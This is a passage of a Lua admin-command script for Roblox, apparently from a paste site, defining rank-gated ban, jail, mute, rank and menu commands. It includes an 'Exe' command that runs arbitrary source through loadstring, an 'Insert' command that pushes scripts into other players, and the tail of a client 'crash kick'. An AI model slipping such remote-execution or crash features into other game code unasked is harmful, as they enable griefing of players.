- Ping("Crash Kicked "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -1)
- end)
- end
- end
- end)
- Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -2)
- end)
- end
- end
- end)
- Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -3)
- end)
- end
- end
- end)
- Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
- ypcall(function()
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- local PlrName = ChangeRank(Msg, 0)
- Ping("Un-Banned "..PlrName, Speaker, 5)
- end)
- end)
- Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
- Dismiss(Speaker)
- Ping("Commands", Speaker, nil, function()
- Dismiss(Speaker.Name)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Ping("Players", Speaker, nil, function()
- ListPlayers(Speaker)
- end)
- end)
- Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
- ListPlayers(Speaker)
- end)
- Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
- getfenv(Func).Speaker = Speaker
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- Ping("Executed Script!", Speaker, 5)
- else
- Ping(Error, Speaker, 10)
- end
- end)
- Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
- if LS ~= nil then
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local LocalSource = Msg:sub(Split + 1)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- local Inserted = LS:Clone()
- Inserted.Disabled = true
- Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
- if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
- Inserted:findFirstChild(OwnSource).Value = v.Name
- end
- Inserted[LSSource].Value = LocalSource
- Inserted.Disabled = false
- end
- end
- else
- Ping("ERROR: Local Script Not Found", Speaker, 5)
- end
- end)
- Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
- Msg = tostring(Msg)
- Ping(Msg, Speaker)
- end)
- Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(getfenv(1)) do
- ypcall(function()
- Ping(tostring(i)..": "..tostring(v), Speaker)
- end)
- end
- end)
- Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
- Dismiss()
- Removed = true
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- end)
- Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- ChangeRank(v, Rank)
- Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
- end
- end
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement